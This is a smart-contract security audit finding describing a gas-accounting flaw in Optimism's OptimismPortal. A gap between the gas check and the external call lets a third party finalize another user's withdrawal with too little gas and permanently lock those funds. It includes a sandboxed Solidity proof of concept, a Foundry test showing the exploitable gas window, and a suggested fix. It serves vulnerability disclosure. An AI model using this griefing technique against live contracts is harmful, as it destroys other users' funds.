Malicious user can finalize other's withdrawal with less than specified gas limit, leading to loss of funds
Transactions to execute a withdrawal from the Optimism Portal can be sent with 5122 less gas than specified by the user, because the check is performed a few operations prior to the call. Because there are no replays on this contract, the result is that a separate malicious user can call `finalizeWithdrawalTransaction()` with a precise amount of gas, cause the withdrawer's withdrawal to fail, and permanently lock their funds.\\nWithdrawals can be initiated directly from the `L2ToL1MessagePasser` contract on L2. These withdrawals can be withdrawn directly from the `OptimismPortal` on L1. This path is intended to be used only by users who know what they are doing, presumably to save the gas of going through the additional more “user-friendly” contracts.\\nOne of the quirks of the `OptimismPortal` is that there is no replaying of transactions. If a transaction fails, it will simply fail, and all ETH associated with it will remain in the `OptimismPortal` contract. Users have been warned of this and understand the risks, so Optimism takes no responsibility for user error.\\nHowever, there is an issue in the implementation of `OptimismPortal` that a withdrawal transaction can be executed with 5122 gas less than the user specified. In many cases, this could cause their transaction to revert, without any user error involved. Optimism is aware of the importance of this property being correct when they write in the comments:\\nWe want to maintain the property that the amount of gas supplied to the call to the target contract is at least the gas limit specified by the user. We can do this by enforcing that, at this point in time, we still have gaslimit + buffer gas available.\\nThis property is not maintained because of the gap between the check and the execution.\\nThe check is as follows, where FINALIZE_GAS_BUFFER == 20_000:\\n```\\nrequire(\\n    gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,\\n    "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n\\nAfter this check, we know that the current execution context has at least 20,000 more gas than the gas limit. However, we then proceed to spend gas by (a) assigning the `l2Sender` storage variable, which uses 2900 gas because it's assigning from a non-zero value, and (b) perform some additional operations to prepare the contract for the external call.\\nThe result is that, by the time the call is sent with `gasleft()` - FINALIZE_GAS_BUFFER gas, `gasleft()` is 5122 lower than it was in the initial check.\\nMathematically, this can be expressed as:\\n`gasAtCheck >= gasLimit + 20000`\\n`gasSent == gasAtCall - 20000`\\n`gasAtCall == gasAtCheck - 5122`\\nRearranging, we get `gasSent >= gasLimit + 20000 - 5122 - 20000`, which simplifies to `gasSent >= gasLimit - 5122`.
Instead of using one value for `FINALIZE_GAS_BUFFER`, two separate values should be used that account for the gas used between the check and the call.
For any withdrawal where a user sets their gas limit within 5122 of the actual gas their execution requires, a malicious user can call `finalizeWithdrawalTransaction()` on their behalf with enough gas to pass the check, but not enough for execution to succeed.\\nThe result is that the withdrawing user will have their funds permanently locked in the `OptimismPortal` contract.\\nProof of Concept\\nTo test this behavior in a sandboxed environment, you can copy the following proof of concept.\\nHere are three simple contracts that replicate the behavior of the Portal, as well as an external contract that uses a predefined amount of gas.\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.13;\\n\\nlibrary SafeCall {\\n    /**\\n     * @notice Perform a low level call without copying any returndata\\n     *\\n     * @param _target   Address to call\\n     * @param _gas      Amount of gas to pass to the call\\n     * @param _value    Amount of value to pass to the call\\n     * @param _calldata Calldata to pass to the call\\n     */\\n    function call(\\n        address _target,\\n        uint256 _gas,\\n        uint256 _value,\\n        bytes memory _calldata\\n    ) internal returns (bool) {\\n        bool _success;\\n        assembly {\\n            _success := call(\\n                _gas, // gas\\n                _target, // recipient\\n                _value, // ether value\\n                add(_calldata, 0x20), // inloc\\n                mload(_calldata), // inlen\\n                0, // outloc\\n                0 // outlen\\n            )\\n        }\\n        return _success;\\n    }\\n}\\n\\ncontract GasUser {\\n    uint[] public s;\\n\\n    function store(uint i) public {\\n        for (uint j = 0; j < i; j++) {\\n            s.push(1);\\n        }\\n    }\\n}\\n\\ncontract Portal {\\n    address l2Sender;\\n\\n    struct Transaction {\\n        uint gasLimit;\\n        address sender;\\n        address target;\\n        uint value;\\n        bytes data;\\n    }\\n\\n    constructor(address _l2Sender) {\\n        l2Sender = _l2Sender;\\n    }\\n\\n    function execute(Transaction memory _tx) public {\\n        require(\\n            gasleft() >= _tx.gasLimit + 20000,\\n            "OptimismPortal: insufficient gas to finalize withdrawal"\\n        );\\n\\n        // Set the l2Sender so contracts know who triggered this withdrawal on L2.\\n        l2Sender = _tx.sender;\\n\\n        // Trigger the call to the target contract. We use SafeCall because we don't\\n        // care about the returndata and we don't want target contracts to be able to force this\\n        // call to run out of gas via a returndata bomb.\\n        bool success = SafeCall.call(\\n            _tx.target,\\n            gasleft() - 20000,\\n            _tx.value,\\n            _tx.data\\n        );\\n    }\\n}\\n```\\n\\nHere is a Foundry test that calls the Portal with various gas values to expose this vulnerability:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.13;\\n\\nimport "forge-std/Test.sol";\\nimport "../src/Portal.sol";\\n\\ncontract PortalGasTest is Test {\\n    Portal public c;\\n    GasUser public gu;\\n\\n    function setUp() public {\\n        c = new Portal(0x000000000000000000000000000000000000dEaD);\\n        gu = new GasUser();\\n    }\\n\\n    function testGasLimitForGU() public {\\n        gu.store{gas: 44_602}(1);\\n        assert(gu.s(0) == 1);\\n    }\\n\\n    function _executePortalWithGivenGas(uint gas) public {\\n        c.execute{gas: gas}(Portal.Transaction({\\n            gasLimit: 44_602,\\n            sender: address(69),\\n            target: address(gu),\\n            value: 0,\\n            data: abi.encodeWithSignature("store(uint256)", 1)\\n        }));\\n    }\\n\\n    function testPortalCatchesGasTooSmall() public {\\n        vm.expectRevert(bytes("OptimismPortal: insufficient gas to finalize withdrawal"));\\n        _executePortalWithGivenGas(65681);\\n    }\\n\\n    function testPortalSucceedsWithEnoughGas() public {\\n        _executePortalWithGivenGas(70803);\\n        assert(gu.s(0) == 1);\\n    }\\n\\n    function testPortalBugWithInBetweenGasLow() public {\\n        _executePortalWithGivenGas(65682);\\n        \\n        // It now reverts because the array has a length of 0.\\n        vm.expectRevert();\\n        gu.s(0);\\n    }\\n\\n    function testPortalBugWithInBetweenGasHigh() public {\\n        _executePortalWithGivenGas(70802);\\n        \\n        // It now reverts because the array has a length of 0.\\n        vm.expectRevert();\\n        gu.s(0);\\n    }\\n}\\n```\\n\\nSummarizing the results of this test:\\nWe verify that the call to the target contract succeeds with 44,602 gas, and set that as gasLimit for all tests.\\nWhen we send 65,681 or less gas, it's little enough to be caught by the require statement.\\nWhen we send 70,803 or more gas, the transaction will succeed.\\nWhen we send any amount of gas between these two values, the require check is passed but the transaction fails.
```\\nrequire(\\n    gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,\\n    "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n